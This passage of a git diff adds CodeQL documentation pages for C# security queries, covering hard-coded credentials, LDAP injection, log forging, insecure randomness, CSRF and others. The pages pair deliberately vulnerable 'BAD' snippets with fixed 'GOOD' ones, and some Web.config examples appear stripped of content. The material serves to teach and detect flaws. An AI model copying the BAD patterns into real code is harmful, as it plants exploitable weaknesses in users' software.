separately from the source code, in a secure location with restricted access. + +For outbound authentication details, consider encrypting the credentials or the enclosing data stores or configuration files, and using permissions to restrict access. + +For inbound authentication details, consider hashing passwords using standard library functions where possible. For example, Microsoft provide the class `Microsoft.AspNet.Identity.PasswordHasher`. + + +## Example +The following examples shows different types of inbound and outbound authentication. + +In the first case, we accept a password from a remote user, and compare it against a plaintext string literal. If an attacker acquires the source code, or the assemblies, they can observe the password, and can log in to the system. Furthermore, if such an intrusion was discovered, the application would need to be recompiled in order to change the password. + +In the second case, the password is compared to a hashed and salted password stored in a configuration file, using the Microsoft provided `PasswordHasher.VerifyHashedPassword`. In this case, access to the source code or the assembly would not reveal the password to an attacker. Even access to the configuration file containing the password hash and salt would be of little value to an attacker, as it is usually extremely difficult to reverse engineer the password from the hash and salt. + +In the final case, a password is changed to a new, hard-coded value. If an attacker has access to the source code, they will be able to observe the new password. + + +```csharp +using Microsoft.AspNet.Identity; +using System; +using System.Web; +using System.Web.Security; + +public class HardCodedCredentialHandler : IHttpHandler +{ + + public void ProcessRequest(HttpContext ctx) + { + string password = ctx.Request.QueryString["password"]; + + // BAD: Inbound authentication made by comparison to string literal + if (password == "myPa55word") + { + ctx.Response.Redirect("login"); + } + + string hashedPassword = loadPasswordFromSecretConfig(); + + // GOOD: Inbound authentication made by comparing to a hash password from a config + if (PasswordHasher.VerifyHashedPassword(hashedPassword, password)) + { + ctx.Response.Redirect(VALID_REDIRECT); + } + + // BAD: Set the password to a hardcoded string literal + MembershipUser user = loadMembershipUser(); + user.ChangePassword(password, "myNewPa55word"); + } +} + +``` + +## References +* OWASP: [XSS Use of hard-coded password](https://www.owasp.org/index.php/Use_of_hard-coded_password). +* Microsoft Docs: [Preventing Open Redirection Attacks (C#)](https://docs.microsoft.com/en-us/aspnet/mvc/overview/security/preventing-open-redirection-attacks). +* Common Weakness Enumeration: [CWE-259](https://cwe.mitre.org/data/definitions/259.html). +* Common Weakness Enumeration: [CWE-321](https://cwe.mitre.org/data/definitions/321.html). +* Common Weakness Enumeration: [CWE-798](https://cwe.mitre.org/data/definitions/798.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/HardcodedCredentials.md b/docs/language/query-help/csharp/HardcodedCredentials.md new file mode 100644 index 00000000000..03749e80ba1 --- /dev/null +++ b/docs/language/query-help/csharp/HardcodedCredentials.md @@ -0,0 +1,78 @@ +# Hard-coded credentials + +``` +ID: cs/hardcoded-credentials +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-259 external/cwe/cwe-321 external/cwe/cwe-798 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-798/HardcodedCredentials.ql) + +Including unencrypted hard-coded inbound or outbound authentication credentials within source code or configuration files is dangerous because the credentials may be easily discovered. + +Source or configuration files containing hard-coded credentials may be visible to an attacker. For example, the source code may be open source, or it may be leaked or accidentally revealed. For applications shipped as binaries, the credentials may be accessible within the compiled assemblies. + +For inbound authentication, hard-coded credentials may allow unauthorized access to the system. This is particularly problematic if the credential is hard-coded in the source code, because it cannot be disabled easily. For outbound authentication, the hard-coded credentials may provide an attacker with privileged information or unauthorized access to some other system. + + +## Recommendation +Remove hard-coded credentials, such as user names, passwords and certificates, from source code, placing them in configuration files or other data stores if necessary. If possible, store configuration files including credential data separately from the source code, in a secure location with restricted access. + +For outbound authentication details, consider encrypting the credentials or the enclosing data stores or configuration files, and using permissions to restrict access. + +For inbound authentication details, consider hashing passwords using standard library functions where possible. For example, Microsoft provide the class `Microsoft.AspNet.Identity.PasswordHasher`. + + +## Example +The following examples shows different types of inbound and outbound authentication. + +In the first case, we accept a password from a remote user, and compare it against a plaintext string literal. If an attacker acquires the source code, or the assemblies, they can observe the password, and can log in to the system. Furthermore, if such an intrusion was discovered, the application would need to be recompiled in order to change the password. + +In the second case, the password is compared to a hashed and salted password stored in a configuration file, using the Microsoft provided `PasswordHasher.VerifyHashedPassword`. In this case, access to the source code or the assembly would not reveal the password to an attacker. Even access to the configuration file containing the password hash and salt would be of little value to an attacker, as it is usually extremely difficult to reverse engineer the password from the hash and salt. + +In the final case, a password is changed to a new, hard-coded value. If an attacker has access to the source code, they will be able to observe the new password. + + +```csharp +using Microsoft.AspNet.Identity; +using System; +using System.Web; +using System.Web.Security; + +public class HardCodedCredentialHandler : IHttpHandler +{ + + public void ProcessRequest(HttpContext ctx) + { + string password = ctx.Request.QueryString["password"]; + + // BAD: Inbound authentication made by comparison to string literal + if (password == "myPa55word") + { + ctx.Response.Redirect("login"); + } + + string hashedPassword = loadPasswordFromSecretConfig(); + + // GOOD: Inbound authentication made by comparing to a hash password from a config + if (PasswordHasher.VerifyHashedPassword(hashedPassword, password)) + { + ctx.Response.Redirect(VALID_REDIRECT); + } + + // BAD: Set the password to a hardcoded string literal + MembershipUser user = loadMembershipUser(); + user.ChangePassword(password, "myNewPa55word"); + } +} + +``` + +## References +* OWASP: [XSS Use of hard-coded password](https://www.owasp.org/index.php/Use_of_hard-coded_password). +* Microsoft Docs: [Preventing Open Redirection Attacks (C#)](https://docs.microsoft.com/en-us/aspnet/mvc/overview/security/preventing-open-redirection-attacks). +* Common Weakness Enumeration: [CWE-259](https://cwe.mitre.org/data/definitions/259.html). +* Common Weakness Enumeration: [CWE-321](https://cwe.mitre.org/data/definitions/321.html). +* Common Weakness Enumeration: [CWE-798](https://cwe.mitre.org/data/definitions/798.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/HeaderCheckingDisabled.md b/docs/language/query-help/csharp/HeaderCheckingDisabled.md new file mode 100644 index 00000000000..97e2ab9e02f --- /dev/null +++ b/docs/language/query-help/csharp/HeaderCheckingDisabled.md @@ -0,0 +1,22 @@ +# Header checking disabled + +``` +ID: cs/web/disabled-header-checking +Kind: problem +Severity: warning +Precision: high +Tags: security external/cwe/cwe-113 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/HeaderCheckingDisabled.ql) + +This rule finds places in the code where header checking is disabled. When header checking is enabled, which is the default, the `\r` or `\n` characters found in a response header are encoded to `%0d` and `%0a`. This defeats header-injection attacks by making the injected material part of the same header line. If you disable header checking, you open potential attack vectors against your client code. + + +## Recommendation +Do not disable header checking. + + +## References +* MSDN. [HttpRuntimeSection.EnableHeaderChecking Property](http://msdn.microsoft.com/en-us/library/system.web.configuration.httpruntimesection.enableheaderchecking.aspx). +* Common Weakness Enumeration: [CWE-113](https://cwe.mitre.org/data/definitions/113.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/InadequateRSAPadding.md b/docs/language/query-help/csharp/InadequateRSAPadding.md new file mode 100644 index 00000000000..d87224670ee --- /dev/null +++ b/docs/language/query-help/csharp/InadequateRSAPadding.md @@ -0,0 +1,23 @@ +# Weak encryption: inadequate RSA padding + +``` +ID: cs/inadequate-rsa-padding +Kind: problem +Severity: warning +Precision: high +Tags: security external/cwe/cwe-327 external/cwe/cwe-780 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/InadequateRSAPadding.ql) + +This query finds uses of RSA encryption without secure padding. Using PKCS#1 v1.5 padding can open up your application to several different attacks resulting in the exposure of the encryption key or the ability to determine plaintext from encrypted messages. + + +## Recommendation +Use the more secure PKCS#1 v2 (OAEP) padding. + + +## References +* Wikipedia. [RSA. Padding Schemes](http://en.wikipedia.org/wiki/RSA_(algorithm)#Padding_schemes). +* Common Weakness Enumeration: [CWE-327](https://cwe.mitre.org/data/definitions/327.html). +* Common Weakness Enumeration: [CWE-780](https://cwe.mitre.org/data/definitions/780.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/InsecureRandomness.md b/docs/language/query-help/csharp/InsecureRandomness.md new file mode 100644 index 00000000000..78e0583e461 --- /dev/null +++ b/docs/language/query-help/csharp/InsecureRandomness.md @@ -0,0 +1,66 @@ +# Insecure randomness + +``` +ID: cs/insecure-randomness +Kind: path-problem +Severity: warning +Precision: high +Tags: security external/cwe/cwe-338 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/InsecureRandomness.ql) + +Using a cryptographically weak pseudo-random number generator to generate a security-sensitive value, such as a password, makes it easier for an attacker to predict the value. + +Pseudo-random number generators generate a sequence of numbers that only approximates the properties of random numbers. The sequence is not truly random because it is completely determined by a relatively small set of initial values, the seed. If the random number generator is cryptographically weak, then this sequence may be easily predictable through outside observations. + + +## Recommendation +Use a cryptographically secure pseudo-random number generator if the output is to be used in a security sensitive context. As a rule of thumb, a value should be considered "security sensitive" if predicting it would allow the attacker to perform an action that they would otherwise be unable to perform. For example, if an attacker could predict the random password generated for a new user, they would be able to log in as that new user. + +For C#, `RNGCryptoServiceProvider` provides a cryptographically secure pseudo-random number generator. `Random` is not cryptographically secure, and should be avoided in security contexts. For contexts which are not security sensitive, `Random` may be preferable as it has a more convenient interface, and is likely to be faster. + +For the specific use-case of generating passwords, consider `System.Web.Security.Membership.GeneratePassword`, which provides a cryptographically secure method of generating random passwords. + + +## Example +The following examples show different ways of generating a password. + +In the first case, we generate a fresh password by appending a random integer to the end of a static string. The random number generator used (`Random`) is not cryptographically secure, so it may be possible for an attacker to predict the generated password. + +In the second example, a cryptographically secure random number generator is used for the same purpose. In this case, it is much harder to predict the generated integers. + +In the final example, the password is generated using the `Membership.GeneratePassword` library method, which uses a cryptographically secure random number generator to generate a random series of characters. This method should be preferred when generating passwords, if possible, as it avoids potential pitfalls when converting the output of a random number generator (usually an int or a byte) to a series of permitted characters. + + +```csharp +using System.Security.Cryptography; +using System.Web.Security; + +string GeneratePassword() +{ + // BAD: Password is generated using a cryptographically insecure RNG + Random gen = new Random(); + string password = "mypassword" + gen.Next(); + + // GOOD: Password is generated using a cryptographically secure RNG + using (RNGCryptoServiceProvider crypto = new RNGCryptoServiceProvider()) + { + byte[] randomBytes = new byte[sizeof(int)]; + crypto.GetBytes(randomBytes); + password = "mypassword" + BitConverter.ToInt32(randomBytes); + } + + // GOOD: Password is generated using a cryptographically secure RNG + password = Membership.GeneratePassword(12, 3); + + return password; +} + +``` + +## References +* Wikipedia. [Pseudo-random number generator](http://en.wikipedia.org/wiki/Pseudorandom_number_generator). +* MSDN. [RandomNumberGenerator](http://msdn.microsoft.com/en-us/library/system.security.cryptography.randomnumbergenerator.aspx). +* MSDN. [Membership.GeneratePassword](https://msdn.microsoft.com/en-us/library/system.web.security.membership.generatepassword(v=vs.110).aspx). +* Common Weakness Enumeration: [CWE-338](https://cwe.mitre.org/data/definitions/338.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/InsecureSQLConnection.md b/docs/language/query-help/csharp/InsecureSQLConnection.md new file mode 100644 index 00000000000..c2db3302f06 --- /dev/null +++ b/docs/language/query-help/csharp/InsecureSQLConnection.md @@ -0,0 +1,50 @@ +# Insecure SQL connection + +``` +ID: cs/insecure-sql-connection +Kind: path-problem +Severity: error +Precision: medium +Tags: security external/cwe/cwe-327 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-327/InsecureSQLConnection.ql) + +SQL Server connections where the client is not enforcing the encryption in transit are susceptible to multiple attacks, including a man-in-the-middle, that would potentially compromise the user credentials and/or the TDS session. + + +## Recommendation +Ensure that the client code enforces the `Encrypt` option by setting it to `true` in the connection string. + + +## Example +The following example shows a SQL connection string that is not explicitly enabling the `Encrypt` setting to force encryption. + + +```csharp +using System.Data.SqlClient; + +// BAD, Encrypt not specified +string connectString = + "Server=1.2.3.4;Database=Anything;Integrated Security=true;"; +SqlConnectionStringBuilder builder = new SqlConnectionStringBuilder(connectString); +var conn = new SqlConnection(builder.ConnectionString); +``` +The following example shows a SQL connection string that is explicitly enabling the `Encrypt` setting to force encryption in transit. + + +```csharp +using System.Data.SqlClient; + +string connectString = + "Server=1.2.3.4;Database=Anything;Integrated Security=true;;Encrypt=true;"; +SqlConnectionStringBuilder builder = new SqlConnectionStringBuilder(connectString); +var conn = new SqlConnection(builder.ConnectionString); +``` + +## References +* Microsoft, SQL Protocols blog: [Selectively using secure connection to SQL Server](https://blogs.msdn.microsoft.com/sql_protocols/2009/10/19/selectively-using-secure-connection-to-sql-server/). +* Microsoft: [SqlConnection.ConnectionString Property](https://msdn.microsoft.com/en-us/library/system.data.sqlclient.sqlconnection.connectionstring(v=vs.110).aspx). +* Microsoft: [Using Connection String Keywords with SQL Server Native Client](https://msdn.microsoft.com/en-us/library/ms130822.aspx). +* Microsoft: [Setting the connection properties](https://msdn.microsoft.com/en-us/library/ms378988(v=sql.110).aspx). +* Common Weakness Enumeration: [CWE-327](https://cwe.mitre.org/data/definitions/327.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/InsufficientKeySize.md b/docs/language/query-help/csharp/InsufficientKeySize.md new file mode 100644 index 00000000000..cdbfb71535b --- /dev/null +++ b/docs/language/query-help/csharp/InsufficientKeySize.md @@ -0,0 +1,22 @@ +# Weak encryption: Insufficient key size + +``` +ID: cs/insufficient-key-size +Kind: problem +Severity: warning +Precision: high +Tags: security external/cwe/cwe-327 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/InsufficientKeySize.ql) + +This rule finds uses of encryption algorithms with too small a key size. Encryption algorithms are vulnerable to brute force attack when too small a key size is used. + + +## Recommendation +The key should be at least 1024-bit long when using RSA encryption, and 128-bit long when using symmetric encryption. + + +## References +* Wikipedia. [Key size](http://en.wikipedia.org/wiki/Key_size). +* Common Weakness Enumeration: [CWE-327](https://cwe.mitre.org/data/definitions/327.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/LDAPInjection.md b/docs/language/query-help/csharp/LDAPInjection.md new file mode 100644 index 00000000000..007c0a60d40 --- /dev/null +++ b/docs/language/query-help/csharp/LDAPInjection.md @@ -0,0 +1,85 @@ +# LDAP query built from user-controlled sources + +``` +ID: cs/ldap-injection +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-090 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-090/LDAPInjection.ql) + +If an LDAP query is built using string concatenation, and the components of the concatenation include user input, a user is likely to be able to run malicious LDAP queries. + + +## Recommendation +If user input must be included in an LDAP query, it should be escaped to avoid a malicious user providing special characters that change the meaning of the query. If possible, use an existing library, such as the AntiXSS library. + + +## Example +In the following examples, the code accepts an "organization name" and a "username" from the user, which it uses to query LDAP to access a "type" property. + +The first example concatenates the unvalidated and unencoded user input directly into both the DN (Distinguished Name) and the search filter used for the LDAP query. A malicious user could provide special characters to change the meaning of these queries, and search for a completely different set of values. + +The second example uses the Microsoft AntiXSS library to encode the user values before they are included in the DN and search filters. This ensures the meaning of the query cannot be changed by a malicious user. + + +```csharp +using Microsoft.Security.Application.Encoder +using System; +using System.DirectoryServices; +using System.Web; + +public class LDAPInjectionHandler : IHttpHandler +{ + public void ProcessRequest(HttpContext ctx) + { + string userName = ctx.Request.QueryString["username"]; + string organizationName = ctx.Request.QueryString["organization_name"]; + // BAD: User input used in DN (Distinguished Name) without encoding + string ldapQuery = "LDAP://myserver/OU=People,O=" + organizationName; + using (DirectoryEntry root = new DirectoryEntry(ldapQuery)) + { + // BAD: User input used in search filter without encoding + DirectorySearcher ds = new DirectorySearcher(root, "username=" + userName); + + SearchResult result = ds.FindOne(); + if (result != null) + { + using (DirectoryEntry user = result.getDirectoryEntry()) + { + ctx.Response.Write(user.Properties["type"].Value) + } + } + } + + // GOOD: Organization name is encoded before being used in DN + string safeOrganizationName = Encoder.LdapDistinguishedNameEncode(organizationName); + string safeLDAPQuery = "LDAP://myserver/OU=People,O=" + safeOrganizationName; + using (DirectoryEntry root = new DirectoryEntry(safeLDAPQuery)) + { + // GOOD: User input is encoded before being used in search filter + string safeUserName = Encoder.LdapFilterEncode(userName); + DirectorySearcher ds = new DirectorySearcher(root, "username=" + safeUserName); + + SearchResult result = ds.FindOne(); + if (result != null) + { + using (DirectoryEntry user = result.getDirectoryEntry()) + { + ctx.Response.Write(user.Properties["type"].Value) + } + } + } + } +} + +``` + +## References +* OWASP: [LDAP Injection Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/LDAP_Injection_Prevention_Cheat_Sheet.html). +* OWASP: [Preventing LDAP Injection in Java](https://www.owasp.org/index.php/Preventing_LDAP_Injection_in_Java). +* AntiXSS doc: [LdapFilterEncode](http://www.nudoq.org/#!/Packages/AntiXSS/AntiXssLibrary/Encoder/M/LdapFilterEncode). +* AntiXSS doc: [LdapDistinguishedNameEncode](http://www.nudoq.org/#!/Packages/AntiXSS/AntiXssLibrary/Encoder/M/LdapDistinguishedNameEncode). +* Common Weakness Enumeration: [CWE-90](https://cwe.mitre.org/data/definitions/90.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/LocalUnvalidatedArithmetic.md b/docs/language/query-help/csharp/LocalUnvalidatedArithmetic.md new file mode 100644 index 00000000000..4499c791036 --- /dev/null +++ b/docs/language/query-help/csharp/LocalUnvalidatedArithmetic.md @@ -0,0 +1,66 @@ +# Unvalidated local pointer arithmetic + +``` +ID: cs/unvalidated-local-pointer-arithmetic +Kind: problem +Severity: warning +Precision: high +Tags: security external/cwe/cwe-119 external/cwe/cwe-120 external/cwe/cwe-122 external/cwe/cwe-788 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-119/LocalUnvalidatedArithmetic.ql) + +It is dangerous to use the result of a virtual method call in pointer arithmetic without validation if external users can provide their own implementation of the virtual method. For example, if the analyzed project is distributed as a library or framework, then the end-user could provide a new implementation that returns any value. + + +## Recommendation +Always validate the result of virtual methods calls before performing pointer arithmetic to avoid reading or writing outside the bounds of an allocated buffer. + + +## Example +In this example, we write to a given element of an array, using an instance of the `PossiblyOverridableClass` to determine which element to write to. + +In the first case, the `GetElementNumber` method is called, and the result is used in pointer arithmetic without any validation. If the user can define a subtype of `PossiblyOverridableClass`, they can create an implementation of `GetElementNumber` that returns an invalid element number. This would lead to a write occurring outside the bounds of the `charArray`. + +In the second case, the result of `GetElementNumber` is stored, and confirmed to be within the bounds of the array. Note that it is not sufficient to check that it is smaller than the length. We must also ensure that it's greater than zero, to prevent writes to locations before the buffer as well as afterwards. + + +```csharp +public class PossiblyOverridable +{ + public virtual int GetElementNumber() + { + // By default returns 0, which is safe + return 0; + } +} + +public class PointerArithmetic +{ + public unsafe void WriteToOffset(PossiblyOverridable possiblyOverridable, + char[] charArray) + { + fixed (char* charPointer = charArray) + { + // BAD: Unvalidated use of virtual method call result in pointer arithmetic + char* newCharPointer = charPointer + possiblyOverridable.GetElementNumber(); + *newCharPointer = 'A'; + // GOOD: Check that the number is viable + int number = possiblyOverridable.GetElementNumber(); + if (number >= 0 && number < charArray.Length) + { + char* newCharPointer2 = charPointer + number; + *newCharPointer = 'A'; + } + } + } +} + +``` + +## References +* Microsoft: [Unsafe Code and Pointers](https://msdn.microsoft.com/en-us/library/t2yzs44b.aspx). +* Common Weakness Enumeration: [CWE-119](https://cwe.mitre.org/data/definitions/119.html). +* Common Weakness Enumeration: [CWE-120](https://cwe.mitre.org/data/definitions/120.html). +* Common Weakness Enumeration: [CWE-122](https://cwe.mitre.org/data/definitions/122.html). +* Common Weakness Enumeration: [CWE-788](https://cwe.mitre.org/data/definitions/788.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/LogForging.md b/docs/language/query-help/csharp/LogForging.md new file mode 100644 index 00000000000..f33266e5df0 --- /dev/null +++ b/docs/language/query-help/csharp/LogForging.md @@ -0,0 +1,54 @@ +# Log entries created from user input + +``` +ID: cs/log-forging +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-117 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-117/LogForging.ql) + +If unsanitized user input is written to a log entry, a malicious user may be able to forge new log entries. + +Forgery can occur if a user provides some input with characters that are interpreted when the log output is displayed. If the log is displayed as a plain text file, then new line characters can be used by a malicious user. If the log is displayed as HTML, then arbitrary HTML may be include to spoof log entries. + + +## Recommendation +User input should be suitably encoded before it is logged. + +If the log entries are plain text then line breaks should be removed from user input, using `String.Replace` or similar. Care should also be taken that user input is clearly marked in log entries, and that a malicious user cannot cause confusion in other ways. + +For log entries that will be displayed in HTML, user input should be HTML encoded using `HttpServerUtility.HtmlEncode` or similar before being logged, to prevent forgery and other forms of HTML injection. + + +## Example +In the following example, a user name, provided by the user, is logged using a logging framework. In the first case, it is logged without any sanitization. In the second case, `String.Replace` is used to ensure no line endings are present in the user input. + + +```csharp +using Microsoft.Extensions.Logging; +using System; +using System.IO; +using System.Web; + +public class LogForgingHandler : IHttpHandler +{ + private ILogger logger; + + public void ProcessRequest(HttpContext ctx) + { + String username = ctx.Request.QueryString["username"]; + // BAD: User input logged as-is + logger.Warn(username + " log in requested."); + // GOOD: User input logged with new-lines removed + logger.Warn(username.Replace(Environment.NewLine, "") + " log in requested"); + } +} + +``` + +## References +* OWASP: [Log Injection](https://www.owasp.org/index.php/Log_Injection). +* Common Weakness Enumeration: [CWE-117](https://cwe.mitre.org/data/definitions/117.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/MissingASPNETGlobalErrorHandler.md b/docs/language/query-help/csharp/MissingASPNETGlobalErrorHandler.md new file mode 100644 index 00000000000..d2ab4432711 --- /dev/null +++ b/docs/language/query-help/csharp/MissingASPNETGlobalErrorHandler.md @@ -0,0 +1,71 @@ +# Missing global error handler + +``` +ID: cs/web/missing-global-error-handler +Kind: problem +Severity: warning +Precision: high +Tags: security external/cwe/cwe-12 external/cwe/cwe-248 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-248/MissingASPNETGlobalErrorHandler.ql) + +`Web.config` files that set the `customErrors` mode to `Off` and do not provide an `Application_Error` method in the `global.asax.cs` file rely on the default error pages, which leak information such as stack traces. + + +## Recommendation +Set the `customErrors` to `On` to prevent the default error page from being displayed, or to `RemoteOnly` to only show the default error page when the application is accessed locally. Alternatively, provide an implementation of the `Application_Error` method in the `global.asax.cs` page. + + +## Example +The following example shows a `Web.config` file in which the custom errors mode has been set to `Off`. + + +```none + + + + + ... + + + + +``` +This can be fixed either by specifying a different mode, such as `On`, in the `Web.config` file: + + +```none + + + + + ... + + + + +``` +or by defining an `Application_Error` method in the `global.asax.cs` file: + + +```csharp +using System; +using System.Web; + +namespace WebApp +{ + public class Global : HttpApplication + { + void Application_Error(object sender, EventArgs e) + { + // Handle errors here + } + } +} + +``` + +## References +* Common Weakness Enumeration: [CWE-12](https://cwe.mitre.org/data/definitions/12.html). +* Common Weakness Enumeration: [CWE-248](https://cwe.mitre.org/data/definitions/248.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/MissingAntiForgeryTokenValidation.md b/docs/language/query-help/csharp/MissingAntiForgeryTokenValidation.md new file mode 100644 index 00000000000..428cdde0280 --- /dev/null +++ b/docs/language/query-help/csharp/MissingAntiForgeryTokenValidation.md @@ -0,0 +1,54 @@ +# Missing cross-site request forgery token validation + +``` +ID: cs/web/missing-token-validation +Kind: problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-352 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-352/MissingAntiForgeryTokenValidation.ql) + +Web applications that use tokens to prevent cross-site request forgery (CSRF) should validate the tokens for all Http POST requests. + +Although login and authentication methods are not vulnerable to traditional CSRF attacks, they still need to be protected with a token or other mitigation. This because an unprotected login page can be used by an attacker to force a login using an account controlled by the attacker. Subsequent requests to the site are then made using this account, without the user being aware that this is the case. This can result in the user associating private information with the attacker-controlled account. + + +## Recommendation +The appropriate attribute should be added to this method to ensure the anti-forgery token is validated when this action method is called. If using the MVC-provided anti-forgery framework this will be the `[ValidateAntiForgeryToken]` attribute. + +Alternatively, you may consider including a global filter that applies token validation to all POST requests. + + +## Example +In the following example an ASP.NET MVC `Controller` is using the `[ValidateAntiForgeryToken]` attribute to mitigate against CSRF attacks. It has been applied correctly to the `UpdateDetails` method. However, this attribute has not been applied to the `Login` method. This should be fixed by adding this attribute. + + +```csharp +using System.Web.Mvc; + +public class HomeController : Controller +{ + // BAD: Anti forgery token has been forgotten + [HttpPost] + public ActionResult Login() + { + return View(); + } + + // GOOD: Anti forgery token is validated + [HttpPost] + [ValidateAntiForgeryToken] + public ActionResult UpdateDetails() + { + return View(); + } +} + +``` + +## References +* Wikipedia: [Cross-Site Request Forgery](https://en.wikipedia.org/wiki/Cross-site_request_forgery). +* Microsoft Docs: [XSRF/CSRF Prevention in ASP.NET MVC and Web Pages](https://docs.microsoft.com/en-us/aspnet/mvc/overview/security/xsrfcsrf-prevention-in-aspnet-mvc-and-web-pages). +* Common Weakness Enumeration: [CWE-352](https://cwe.mitre.org/data/definitions/352.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/MissingXFrameOptions.md b/docs/language/query-help/csharp/MissingXFrameOptions.md new file mode 100644 index 00000000000..a72dbfac629 --- /dev/null +++ b/docs/language/query-help/csharp/MissingXFrameOptions.md @@ -0,0 +1,56 @@ +# Missing X-Frame-Options HTTP header + +``` +ID: cs/web/missing-x-frame-options +Kind: problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-451 external/cwe/cwe-829 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-451/MissingXFrameOptions.ql) + +Web sites that do not specify the `X-Frame-Options` HTTP header may be vulnerable to UI redress attacks ("clickjacking"). In these attacks, the vulnerable site is loaded in a frame on an attacker-controlled site which uses opaque or transparent layers to trick the user into unintentionally clicking a button or link on the vulnerable site. + + +## Recommendation +Set the `X-Frame-Options` HTTP header to `DENY`, to instruct web browsers to block attempts to load the site in a frame. Alternatively, if framing is needed in certain circumstances, specify `SAMEORIGIN` or `ALLOW FROM: ...` to limit the ability to frame the site to pages from the same origin, or from an allowed whitelist of trusted domains. + +For ASP.NET web applications, the header may be specified either in the `Web.config` file, using the `` tag, or within the source code of the application using the `HttpResponse.AddHeader` method. In general, prefer specifying the header in the `Web.config` file to ensure it is added to all requests. If adding it to the source code, ensure that it is added unconditionally to all requests. For example, add the header in the `Application_BeginRequest` method in the `global.asax` file. + + +## Example +The following example shows how to specify the `X-Frame-Options` header within the `Web.config` file for ASP.NET: + + +```none + + + + + + + + + + + + + +``` +This next example shows how to specify the `X-Frame-Options` header within the `global.asax` file for ASP.NET application: + + +```csharp +protected void Application_BeginRequest(object sender, EventArgs e) +{ + HttpContext.Current.Response.AddHeader("X-Frame-Options", "DENY"); +} + +``` + +## References +* OWASP: [Clickjacking Defense Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html). +* Mozilla: [X-Frame-Options](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options) +* Common Weakness Enumeration: [CWE-451](https://cwe.mitre.org/data/definitions/451.html). +* Common Weakness Enumeration: [CWE-829](https://cwe.mitre.org/data/definitions/829.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/MissingXMLValidation.md b/docs/language/query-help/csharp/MissingXMLValidation.md new file mode 100644 index 00000000000..93ba3bf69c5 --- /dev/null +++ b/docs/language/query-help/csharp/MissingXMLValidation.md @@ -0,0 +1,72 @@ +# Missing XML validation + +``` +ID: cs/xml/missing-validation +Kind: path-problem +Severity: recommendation +Precision: high +Tags: security external/cwe/cwe-112 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-112/MissingXMLValidation.ql) + +If unsanitized user input is processed as XML, it should be validated against a known schema. If no validation occurs, or if the validation relies on the schema or DTD specified in the document itself, then the XML document may contain any data in any form, which may invalidate assumptions the program later makes. + + +## Recommendation +All XML provided by a user should be validated against a known schema when it is processed. + +If using `XmlReader.Create`, you should always pass an instance of `XmlReaderSettings`, with the following properties: + +* `ValidationType` must be set to `Schema`. If this property is unset, no validation occurs. If it is set to `DTD`, the document is only validated against the DTD specified in the user-provided document itself - which could be specified as anything by a malicious user. +* `ValidationFlags` must not include `ProcessInlineSchema` or `ProcessSchemaLocation`. These flags allow a user to provide their own inline schema or schema location for validation, allowing a malicious user to bypass the known schema validation. + +## Example +In the following example, text provided by a user is loaded using `XmlReader.Create`. In the first three examples, insufficient validation occurs, because either no validation is specified, or validation is only specified against a DTD provided by the user, or the validation permits a user to provide an inline schema. In the final example, a known schema is provided, and validation is set, using an instance of `XmlReaderSettings`. This ensures that the user input is properly validated against the known schema. + + +```csharp +using System; +using System.IO; +using System.Web; +using System.Xml; +using System.Xml.Schema; + +public class MissingXmlValidationHandler : IHttpHandler +{ + + public void ProcessRequest(HttpContext ctx) + { + String userProvidedXml = ctx.Request.QueryString["userProvidedXml"]; + + // BAD: User provided XML is processed without any validation, + // because there is no settings instance configured. + XmlReader.Create(new StringReader(userProvidedXml)); + + // BAD: User provided XML is processed without any validation, + // because the settings instance specifies DTD as the ValidationType + XmlReaderSettings badSettings = new XmlReaderSettings(); + badSettings.ValidationType = ValidationType.DTD; + XmlReader.Create(new StringReader(userProvidedXml), badSettings); + + // BAD: User provided XML is processed with validation, but the ProcessInlineSchema + // option is specified, so an attacker can provide their own schema to validate + // against. + XmlReaderSettings badInlineSettings = new XmlReaderSettings(); + badInlineSettings.ValidationType = ValidationType.Schema; + badInlineSettings.ValidationFlags |= XmlSchemaValidationFlags.ProcessInlineSchema; + XmlReader.Create(new StringReader(userProvidedXml), 